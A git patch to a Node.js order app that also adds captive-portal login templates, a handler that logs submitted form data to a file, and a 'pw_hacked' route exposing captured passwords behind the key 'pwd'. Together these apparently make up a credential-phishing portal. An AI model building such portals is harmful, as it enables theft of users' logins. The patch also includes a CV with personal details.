From 09c5b0384d3705c5f98d0cfd11881de091f60b58 Mon Sep 17 00:00:00 2001 From: Pablinux Date: Sat, 17 May 2025 04:03:12 -0500 Subject: [PATCH] Correcion al enviar pedidos. al servidor. Generacion de Mensajes SnackBar --- src/app.js | 1 + src/controladores/controlador_Clientes.js | 4 +- src/controladores/controlador_General.js | 30 +- src/public/Html/BusquedaYoutube.html | 17 + src/public/Html/auth.js | 58 + src/public/Html/contenedor.css | 11 + src/public/Html/control.js | 4 + src/public/Html/cv.html | 5524 +++++++++++++++++ src/public/Html/cv2.html | 422 ++ src/public/Html/formulario_creacionWebs.html | 494 ++ src/public/Html/menu.css | 130 + src/public/Html/menu.html | 78 + src/public/Html/obtenerPosicionGmaps.html | 42 + src/public/Html/panel_chart_sigma.html | 43 + src/public/Html/pruebaControl.html | 55 + src/public/Html/rep.html | 217 + src/public/Html/reproductor.html | 15 + src/public/Html/search.js | 18 + src/public/Html/test_boostrap.html | 17 + src/public/Html/youtube.html | 124 + src/public/css/telcotronics.css | 207 + src/public/img/portal/favicon.ico | Bin 0 -> 9662 bytes src/public/img/portal/login.jpg | Bin 0 -> 20618 bytes src/public/img/portal/logo.png | Bin 0 -> 1289 bytes src/public/plantilla_html/portal_cautivo.html | 202 + .../plantilla_html/portal_hikvision.html | 203 + src/public/plantilla_html/telcotronics.html | 136 + src/rutas/rt_Generales.js | 8 + src/scripts/File_io.js | 49 + src/scripts/portal_cautivo.js | 0 src/scripts/tokens.js | 8 + src/swager_config.js | 28 +- src/views/app_pedidos.ejs | 12 +- src/views/login.ejs | 2 +- src/views/no_autorizado.ejs | 84 + src/views/portal.ejs | 204 + src/views/ver_pass.ejs | 118 + 37 files changed, 8537 insertions(+), 28 deletions(-) create mode 100644 src/public/Html/BusquedaYoutube.html create mode 100644 src/public/Html/auth.js create mode 100644 src/public/Html/contenedor.css create mode 100644 src/public/Html/control.js create mode 100644 src/public/Html/cv.html create mode 100644 src/public/Html/cv2.html create mode 100644 src/public/Html/formulario_creacionWebs.html create mode 100644 src/public/Html/menu.css create mode 100644 src/public/Html/menu.html create mode 100644 src/public/Html/obtenerPosicionGmaps.html create mode 100644 src/public/Html/panel_chart_sigma.html create mode 100644 src/public/Html/pruebaControl.html create mode 100644 src/public/Html/rep.html create mode 100644 src/public/Html/reproductor.html create mode 100644 src/public/Html/search.js create mode 100644 src/public/Html/test_boostrap.html create mode 100644 src/public/Html/youtube.html create mode 100644 src/public/css/telcotronics.css create mode 100644 src/public/img/portal/favicon.ico create mode 100644 src/public/img/portal/login.jpg create mode 100644 src/public/img/portal/logo.png create mode 100644 src/public/plantilla_html/portal_cautivo.html create mode 100644 src/public/plantilla_html/portal_hikvision.html create mode 100644 src/public/plantilla_html/telcotronics.html create mode 100644 src/scripts/File_io.js create mode 100644 src/scripts/portal_cautivo.js create mode 100644 src/scripts/tokens.js create mode 100644 src/views/no_autorizado.ejs create mode 100644 src/views/portal.ejs create mode 100644 src/views/ver_pass.ejs diff --git a/src/app.js b/src/app.js index 346878d..746eae0 100644 --- a/src/app.js +++ b/src/app.js @@ -86,6 +86,7 @@ app.get('/pruebaJson',function(req,res){ //archivos staticos app.use(express.static(path.join(__dirname, 'public'))); +//app.set('trust proxy', true); //inicia servidor app.listen(app.get('port'),() =>{ diff --git a/src/controladores/controlador_Clientes.js b/src/controladores/controlador_Clientes.js index 84a9654..db96698 100644 --- a/src/controladores/controlador_Clientes.js +++ b/src/controladores/controlador_Clientes.js @@ -156,12 +156,12 @@ controlador.app_pedidos_clientes = (req, res) => { //CONSULTA CLIENTE CLOUD C.I-RUC => ruta:/busquedaSRI var data_url0 = 'http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php'; -var data_url1 = "https://xsystem.ddns.net/app/clientes_cloud.php"; +var data_url1 = "https://siax-system.net/app/clientes_cloud.php"; var data_url2 = "http://sheyla2.dyndns.info/SRI/SRI.php"; var data_url3 = "http://192.168.10.100:8000/test_post"; var arrayUrl = [ "http://www.ecuadorlegalonline.com/modulo/sri/consulta-ruc/ruc.api.php", - "https://xsystem.ddns.net/api/clientes_cloud.php", + "https://siax-system.net/api/clientes_cloud.php", "http://sheyla2.dyndns.info/SRI/SRI.php", "http://192.168.10.100:8000/test_post", "solo testing" diff --git a/src/controladores/controlador_General.js b/src/controladores/controlador_General.js index fe84796..3e4b152 100644 --- a/src/controladores/controlador_General.js +++ b/src/controladores/controlador_General.js @@ -243,7 +243,8 @@ controlador.recibe_pedidos = async (req, res) => { PedUsoPrdct_iva: json.iva, PedUsoPrdct_origen: json.origen }; - ingreso_pedido(req, pedido, json.items); + var id_ped = ingreso_pedido(req, pedido, json.items); + res.json({ id: id_ped, message: "Pedido Ingresado" }); //await console.log(await ingreso_pedido(req,pedido)); //await ingreso_detalle(req, id_ped, json.items); }; @@ -262,10 +263,12 @@ async function ingreso_pedido(req, pedido_data, items) { ingreso_detalle(req, lastInsert, items) //res.json({ sision: "ORDEN INGRESADA" }); //res.redirect('/clientes');//redireciona a la ruta inical de la app + return lastInsert; } }); }); } + async function ingreso_detalle(req, id_ped, data) { //console.log("ID Pedido: "+id_ped); for (var i = 0; i < data.length; i++) { @@ -329,5 +332,30 @@ controlador.recibe_datos = (req, res) => { //res.render('panel_control'); }; +//********** Portal Cautivo ********// +controlador.portal = (req, res) => { + console.log(req.body); + res.render('portal'); +}; +const {saveToFile} = require('../scripts/File_io'); +controlador.portal_log = (req, res) => { + console.log(req.body); + saveToFile(req.body); + res.send(200); +}; + +//query => key: '1234567890', +controlador.pw_hacked = (req, res) => { + var hostname = req.headers.host; + var key = req.query.key; + console.log(req.query); + if(key==='pwd'){ + res.render('ver_pass'); + }else{ + res.render('no_autorizado'); + } + +}; + module.exports = controlador; diff --git a/src/public/Html/BusquedaYoutube.html b/src/public/Html/BusquedaYoutube.html new file mode 100644 index 0000000..9db2ead --- /dev/null +++ b/src/public/Html/BusquedaYoutube.html @@ -0,0 +1,17 @@ + + + + Search + + +
+ +
+
+
+ + + + + + \ No newline at end of file diff --git a/src/public/Html/auth.js b/src/public/Html/auth.js new file mode 100644 index 0000000..e41659d --- /dev/null +++ b/src/public/Html/auth.js @@ -0,0 +1,58 @@ +// The client ID is obtained from the Google API Console +// at https://console.developers.google.com/. +// If you run this code from a server other than http://localhost, +// you need to register your own client ID. +var OAUTH2_CLIENT_ID = '361238658-ipvtecve83v9hmp037el45ebao4guqmm.apps.googleusercontent.com'; +var OAUTH2_SCOPES = [ + 'https://www.googleapis.com/auth/youtube' +]; + +// Upon loading, the Google APIs JS client automatically invokes this callback. +googleApiClientReady = function() { + gapi.auth.init(function() { + window.setTimeout(checkAuth, 1); + }); +} + +// Attempt the immediate OAuth 2.0 client flow as soon as the page loads. +// If the currently logged-in Google Account has previously authorized +// the client specified as the OAUTH2_CLIENT_ID, then the authorization +// succeeds with no user intervention. Otherwise, it fails and the +// user interface that prompts for authorization needs to display. +function checkAuth() { + gapi.auth.authorize({ + client_id: OAUTH2_CLIENT_ID, + scope: OAUTH2_SCOPES, + immediate: true + }, handleAuthResult); +} + +// Handle the result of a gapi.auth.authorize() call. +function handleAuthResult(authResult) { + if (authResult && !authResult.error) { + // Authorization was successful. Hide authorization prompts and show + // content that should be visible after authorization succeeds. + $('.pre-auth').hide(); + $('.post-auth').show(); + loadAPIClientInterfaces(); + } else { + // Make the #login-link clickable. Attempt a non-immediate OAuth 2.0 + // client flow. The current function is called when that flow completes. + $('#login-link').click(function() { + gapi.auth.authorize({ + client_id: OAUTH2_CLIENT_ID, + scope: OAUTH2_SCOPES, + immediate: false + }, handleAuthResult); + }); + } +} + +// Load the client interfaces for the YouTube Analytics and Data APIs, which +// are required to use the Google APIs JS client. More info is available at +// https://developers.google.com/api-client-library/javascript/dev/dev_jscript#loading-the-client-library-and-the-api +function loadAPIClientInterfaces() { + gapi.client.load('youtube', 'v3', function() { + handleAPILoaded(); + }); +} \ No newline at end of file diff --git a/src/public/Html/contenedor.css b/src/public/Html/contenedor.css new file mode 100644 index 0000000..d8cf2e4 --- /dev/null +++ b/src/public/Html/contenedor.css @@ -0,0 +1,11 @@ +.pantalla{ + margin: 0; + padding: 0; + height: 90%; + + box-sizing: border-box; +} + +.cubo{ + position: relative; +} \ No newline at end of file diff --git a/src/public/Html/control.js b/src/public/Html/control.js new file mode 100644 index 0000000..d06c6c6 --- /dev/null +++ b/src/public/Html/control.js @@ -0,0 +1,4 @@ +var listaRep = ['https://www.youtube.com/watch?v=wDk99yR4r8U&ab_channel=HombresG-Topic','']; +function controlYt(){ + var rep = document.getElementById('ytplayer'); +} \ No newline at end of file diff --git a/src/public/Html/cv.html b/src/public/Html/cv.html new file mode 100644 index 0000000..bdf566f --- /dev/null +++ b/src/public/Html/cv.html @@ -0,0 +1,5524 @@ + + + + + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Mostrar nombre en
+
+
+
+
+
+
+

+

+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + + + + + + + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+ + +
+
+
+
+
+
+
+
+
+
+
+
+
+
+ + +
+
+ \ No newline at end of file diff --git a/src/public/Html/cv2.html b/src/public/Html/cv2.html new file mode 100644 index 0000000..6a3615c --- /dev/null +++ b/src/public/Html/cv2.html @@ -0,0 +1,422 @@ + + + + + + + +
+ + + + + + + + + + + Pablo + Farias + DEV + Sistemas + y + Networking + + pablinux + @ + hotmail + . + es + + + + 593991054931 + + Calle + 3 + de + Agosto + y + Edmundo + Andrade + , + 212223 + Santo + Domingo + Formación + Ingeneria + en + Sistemas + y + Networking + Universidad + Tecnologica + America + , + QUITO + Desarrollo + de + Sistemas + + + Experiencia + Sistema + Inteligente + de + Gestion + Modular + Administrativo + feb + 2020 + - + presente + Telcotronics + , + Santo + Domingo + + + Cursos + Alfa + + go + presente + AWS + Google + + Cloud + Open + + IA + + + Logros + https + : + //sigmac + . + app + https + : + //telcotronics + . + com + https + : + //zonafranka + . + ec + https + : + //domus + - + fa + . + com + Desarrollo + de + Sistema + + + Prácticas + Desarrollador + presente + Telcotronics + , + Santo + Domingo + + + + + Datos + personales + Fecha + de + nacimiento + 18 + de + marzo + de + 1984 + Lugar + de + nacimiento + El + + Carmen + - + + Manabi + - + Ecuador + Género + Hombre + Nacionalidad + Ecuatoriano + Estado + civil + Casado + Sitio + web + sigmac + . + app + + + Competencias + Desarrollo + en + JAVA + + Desarrollo + WEB + Fronent + ( + JS + , + CSS + , + HTML + ) + + + Desarrollo + de + Sistemas + IA + ( + Phyton + ) + + + Desarrollo + BackEnd + ( + NodeJS + , + Java + , + Spring + , + Php + , + C + + + ) + + Manejo + de + Servidores + ( + Linux + ) + + Desarrollo + de + Apps + ( + C# + , + JAVA + , + React + ) + + + + + +
+ \ No newline at end of file diff --git a/src/public/Html/formulario_creacionWebs.html b/src/public/Html/formulario_creacionWebs.html new file mode 100644 index 0000000..e045763 --- /dev/null +++ b/src/public/Html/formulario_creacionWebs.html @@ -0,0 +1,494 @@ + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/src/public/Html/menu.css b/src/public/Html/menu.css new file mode 100644 index 0000000..b6021c8 --- /dev/null +++ b/src/public/Html/menu.css @@ -0,0 +1,130 @@ +@import url('http://fonts.googleapis.com/css?family=Poppins:100,200,300,400,500,600,700,800,900'); +* +{ + margin: 0; + padding: 0; + box-sizing: border-box; + font-family:'Poppins',sans-serif; +} +:root{ + --clr:#222327; + --clr0:#050505; +} +body{ + display: flex; + justify-content: center; + align-items: center; + min-height: 100vh; + /*background: var(--clr);*/ +} +.container{ + display: flex; + justify-content:center; + align-items: center; + width: 420px; + height:600px; + background: var(--clr) +} +.navigation{ + width: 400px; + height:70px; + background: #fff; + border-radius: 10px; + /*position: relative;*/ + +} +.navigation ul{ + display: flex; + width: 350px; +} +.navigation ul li{ + position: relative; + list-style: none; + width: 70px; + height:70px; + z-index: 1; +} +.navigation ul li a{ + position: relative; + display: flex; + justify-content: center; + align-items: center; + flex-direction: column; + width:100%; + text-align: center; + font-weight: 500; +} +.navigation ul li a .icon{ + position: relative; + display: block; + line-height: 75px; + font-size: 1.5em; + text-align: center; + transition: 0.5s; + color: var(--clr); +} +.navigation ul li.active a .icon{ + transform: translateY(-35px); +} +.navigation ul li a .text{ + position: absolute; + color: var(--clr); + font-weight: 400; + font-size: 0.75em; + letter-spacing: 0.05em; + transition: 0.5s; + opacity: 0; + transform: translateY(20px); +} +.navigation ul li.active a .text{ + opacity: 1; + transform: translateY(10px); +} +.indicator{ + position: absolute; + top: 42.5%; + width: 70px; + height: 70px; + background: #29fd53; + border-radius: 50%; + border: 6px solid var(--clr); + transition: 0.5s; +} +.indicator::before{ + content: ''; + position: absolute; + top: 50%; + width: 22px; + height: 22px; + left: -22px; + /*background: #f00;*/ + border-top-right-radius: 20px; + box-shadow: 0px -10px 0 0 var(--clr); +} +.indicator::after{ + content: ''; + position: absolute; + top: 50%; + width: 22px; + height: 22px; + right: -22px; + /*background: #f00;*/ + border-top-left-radius: 20px; + box-shadow: 0px -10px 0 0 var(--clr); +} + +.navigation ul li:nth-child(1).active ~ .indicator{ + transform: translateX(calc(70px*0)); +} +.navigation ul li:nth-child(2).active ~ .indicator{ + transform: translateX(calc(70px*1)); +} +.navigation ul li:nth-child(3).active ~ .indicator{ + transform: translateX(calc(70px*2)); +} +.navigation ul li:nth-child(4).active ~ .indicator{ + transform: translateX(calc(70px*3)); +} +.navigation ul li:nth-child(5).active ~ .indicator{ + transform: translateX(calc(70px*4)); +} \ No newline at end of file diff --git a/src/public/Html/menu.html b/src/public/Html/menu.html new file mode 100644 index 0000000..12f8fe5 --- /dev/null +++ b/src/public/Html/menu.html @@ -0,0 +1,78 @@ + + + + + + + + + +
+
+
+ + + + +
+
+ +
+ + + + + diff --git a/src/public/Html/obtenerPosicionGmaps.html b/src/public/Html/obtenerPosicionGmaps.html new file mode 100644 index 0000000..5016ef8 --- /dev/null +++ b/src/public/Html/obtenerPosicionGmaps.html @@ -0,0 +1,42 @@ + + + + + + + Document + + + + + + + + + + + +
+
+ + + + + + \ No newline at end of file diff --git a/src/public/Html/panel_chart_sigma.html b/src/public/Html/panel_chart_sigma.html new file mode 100644 index 0000000..591067a --- /dev/null +++ b/src/public/Html/panel_chart_sigma.html @@ -0,0 +1,43 @@ + + + + + + + + +

Metas de Produccion

+
+ + + \ No newline at end of file diff --git a/src/public/Html/pruebaControl.html b/src/public/Html/pruebaControl.html new file mode 100644 index 0000000..0bc3a3b --- /dev/null +++ b/src/public/Html/pruebaControl.html @@ -0,0 +1,55 @@ + + + + + + + Document + + + + +
+
+ ....................... +
+ +
+ + + + + \ No newline at end of file diff --git a/src/public/Html/rep.html b/src/public/Html/rep.html new file mode 100644 index 0000000..b226c00 --- /dev/null +++ b/src/public/Html/rep.html @@ -0,0 +1,217 @@ + + + + +parlante + + + + +
+ + +
+ +
+
+
+ + +
+
+ + +
+ +
+ + + +
+ + + + + + + + diff --git a/src/public/Html/reproductor.html b/src/public/Html/reproductor.html new file mode 100644 index 0000000..ddcfde9 --- /dev/null +++ b/src/public/Html/reproductor.html @@ -0,0 +1,15 @@ + + + + + + +
+
+ + + + \ No newline at end of file diff --git a/src/public/Html/search.js b/src/public/Html/search.js new file mode 100644 index 0000000..4ab8c67 --- /dev/null +++ b/src/public/Html/search.js @@ -0,0 +1,18 @@ +// After the API loads, call a function to enable the search box. +function handleAPILoaded() { + $('#search-button').attr('disabled', false); +} + +// Search for a specified string. +function search() { + var q = $('#query').val(); + var request = gapi.client.youtube.search.list({ + q: q, + part: 'snippet' + }); + + request.execute(function(response) { + var str = JSON.stringify(response.result); + $('#search-container').html('
' + str + '
'); + }); +} \ No newline at end of file diff --git a/src/public/Html/test_boostrap.html b/src/public/Html/test_boostrap.html new file mode 100644 index 0000000..19521fc --- /dev/null +++ b/src/public/Html/test_boostrap.html @@ -0,0 +1,17 @@ + + + + + + + Document + + + + + + + + + + \ No newline at end of file diff --git a/src/public/Html/youtube.html b/src/public/Html/youtube.html new file mode 100644 index 0000000..781a935 --- /dev/null +++ b/src/public/Html/youtube.html @@ -0,0 +1,124 @@ + + + + + + + Document + + + + + +
+ + + +
+
+
+ + + + + +
+ Play + Pause + + + + + + \ No newline at end of file diff --git a/src/public/css/telcotronics.css b/src/public/css/telcotronics.css new file mode 100644 index 0000000..c761237 --- /dev/null +++ b/src/public/css/telcotronics.css @@ -0,0 +1,207 @@ +/* General Reset */ +* { + margin: 0; + padding: 0; + box-sizing: border-box; +} + +body { + font-family: 'Roboto', sans-serif; + line-height: 1.6; + color: #333; + background-color: #f9f9f9; +} + +.container { + width: 90%; + max-width: 1200px; + margin: 0 auto; +} + +/* Header */ +.header { + background: #004080; + color: #fff; + padding: 1rem 0; +} + +.header .logo { + font-size: 1.5rem; + font-weight: bold; +} + +.header .navigation ul { + display: flex; + justify-content: space-around; + list-style: none; +} + +.header .navigation ul li a { + color: #fff; + text-decoration: none; + padding: 0.5rem 1rem; + transition: background-color 0.3s; +} + +.header .navigation ul li a:hover { + background: #0066cc; + border-radius: 5px; +} + +/* Hero Section */ +.hero { + background: linear-gradient(to right, #004080, #0066cc); + color: #fff; + text-align: center; + padding: 4rem 2rem; +} + +.hero h1 { + font-size: 2.5rem; + margin-bottom: 1rem; +} + +.hero p { + font-size: 1.2rem; + margin-bottom: 2rem; +} + +.hero .btn-primary { + background: #ffaa00; + color: #fff; + padding: 0.75rem 1.5rem; + text-decoration: none; + border-radius: 5px; + transition: background-color 0.3s; +} + +.hero .btn-primary:hover { + background: #cc8800; +} + +/* Carousel Section */ +.carousel { + position: relative; + overflow: hidden; + width: 100%; + margin: 2rem 0; +} + +.carousel img { + width: 100%; + display: block; + border-radius: 5px; +} + +.carousel-inner { + display: flex; + transition: transform 0.5s ease-in-out; +} + +.carousel-buttons { + position: absolute; + top: 50%; + width: 100%; + display: flex; + justify-content: space-between; + transform: translateY(-50%); +} + +.carousel-buttons button { + background: rgba(0, 0, 0, 0.5); + color: #fff; + border: none; + padding: 0.5rem 1rem; + cursor: pointer; + transition: background 0.3s; +} + +.carousel-buttons button:hover { + background: rgba(0, 0, 0, 0.8); +} + +/* Services Section */ +.services { + padding: 3rem 0; + background: #fff; +} + +.services h2 { + text-align: center; + margin-bottom: 2rem; + font-size: 2rem; +} + +.service-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); + gap: 1.5rem; +} + +.service-item { + background: #f1f1f1; + padding: 1.5rem; + text-align: center; + border-radius: 5px; + box-shadow: 0 2px 5px rgba(0, 0, 0, 0.1); + transition: transform 0.3s; +} + +.service-item:hover { + transform: scale(1.05); +} + +.service-item h3 { + margin-bottom: 0.5rem; +} + +/* Products Section */ +.products { + padding: 3rem 0; + background: #eef5ff; +} + +.products h2 { + text-align: center; + margin-bottom: 2rem; + font-size: 2rem; +} + +.product-grid { + display: grid; + grid-template-columns: repeat(auto-fit, minmax(250px, 1fr)); + gap: 1.5rem; +} + +.product-item { + text-align: center; +} + +.product-item img { + width: 100%; + max-width: 200px; + margin-bottom: 1rem; + border-radius: 5px; +} + +.product-item h3 { + font-size: 1.2rem; + color: #004080; +} + +/* Footer */ +.footer { + background: #004080; + color: #fff; + padding: 1rem 0; + text-align: center; +} + +.footer a { + color: #ffaa00; + text-decoration: none; +} + +.footer a:hover { + text-decoration: underline; +} diff --git a/src/public/img/portal/favicon.ico b/src/public/img/portal/favicon.ico new file mode 100644 index 0000000000000000000000000000000000000000..70ba8dcece7ee70e7e8d813559002c8c1b881afc GIT binary patch literal 9662 zcmeHHF-`+95Zow5%5;b>DL|s+2ly%cB=;PCarX<_Jb^L=!ps;O!bQ<}Oni!vo%qH+ zt;e(D^_ea3dweuJxAt;xc4KA_=y+w%=zJgA-50cHbD%l!KOETJzPj9AlJOLG3Fq+| z@b~CGv%BN9Ipa)TYLL0PKi6gM!5rm1u%@a%F^63Ld&VnG^hf5Wmf9XE{E9azwzfy$ z@6dD4*d<*G*7T^hKg?6nPd$n^Gx00mA^Dz(XV9tss2&ya=iUL?pQv9s1E=OtyGCOU z)jSewsPqha?30^A)iY4fH~O#CknB;bq3Khp?UBMit@bnm{IzRH;diGBr{B!rQSLWF zzGKWzJ%gApzg@XKS3l$2wBx@cME#1ElGxHS=#fXsewSWTs$aQhm)1PylWT|-btV2Y zm(nxng&bs$s4JJBeyR=JN)5>#iTqC0&-j`iiTY)KRQ=S$HA++bDdfMV8tN2pQmo=p zTB9KN$KT6y^U@kp&cG?!8LRkHQbTc%bDoUf%N|kF3}?^_dpPE-G;nA0E4(STwnvJ7 zYDu~j#JX{~#2jeA!#D0QE-(**i5y16Rvs!3 J#7sX^+$Y-a%r5`{ literal 0 HcmV?d00001 diff --git a/src/public/img/portal/login.jpg b/src/public/img/portal/login.jpg new file mode 100644 index 0000000000000000000000000000000000000000..672d6840401fa349b273e9d8b53001669640ef84 GIT binary patch literal 20618 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

*dgO|vtgsn2VjqKP)pti-52qrruQ#$# zi7m~xlmZ(g!A$lK^u9N(XZ7jk7nBoCuAAr8DUGw!*VW)ZKf*wo2iFx+i%c9MocNDL z39|4K>Y`Dje*xB0L|VmIr}I>Gj@F#ZZBbk!l`lLaB9nzZsP#};YpW{3zB;Q>k%uRG zWrh!~=4x0|JTV`7wf+W}6+U7g9+=YBmxeiNevrv>b`a}@N=Rr}UyHk*z-H;Uy zKK0RVWvf~Qf%nmFMbYL(+Aw6#e9*a-d?#J3!bvOibU73(i4idwNpMVFaN`0k9fw86w{K0$xj)_!y>36RNg(IqtKjCpj4O+Srxiqe zU3lnDb$Iv2 zM`+MRyc*o+f_b+@aD+PPyt+&msZ8DZH{f9nni0)7Ai}ZfF3xJ~(21zCbiruXGDJh$ z-IvCBA7)0~s z;O=O~^^pGfIc|mHJ6jVCbnT?pR#iy_Gqc@V#+o$oJ8O}y>A17uvFM|jV3^#)xhy!n zd-Lc9@JiZf3_M4!e;+*T)j(IU=b)D82a1-_y8+*BbL9ZNxK5EKEo;*YZRW2g!yT+% zx&{`q2fzsVJ^H7tM7iX9;hpNY(d$}ZB5t=^34u*%s??qbhPQz>@r0n+8eggSw-G6= zPN=n1b(*dqO? odpI_UHQtW(;AD7G+G(O=EBII^W_6QtS@{neR^FeIc@<$hf6S+ zsG!+$l;AgFM9lVX3UjA??+2k*;z#t;+01x#F2%B5fh~B4OOg3t$c}PH$>;Hx+_$dK zk58<>0s4N~sULRyZp!>*ALM6N@mA2-$&0_@Va8aYx;+kCZN=mc9pmk(*P5Zpzl93k zi3x7l-#sk_`u*(I+IIuk8kF7z`uLfQSEGxv)iZv5^38TrLP>jO;{FZTD^}*nc5b_y z@;d=r^FH^1j&o 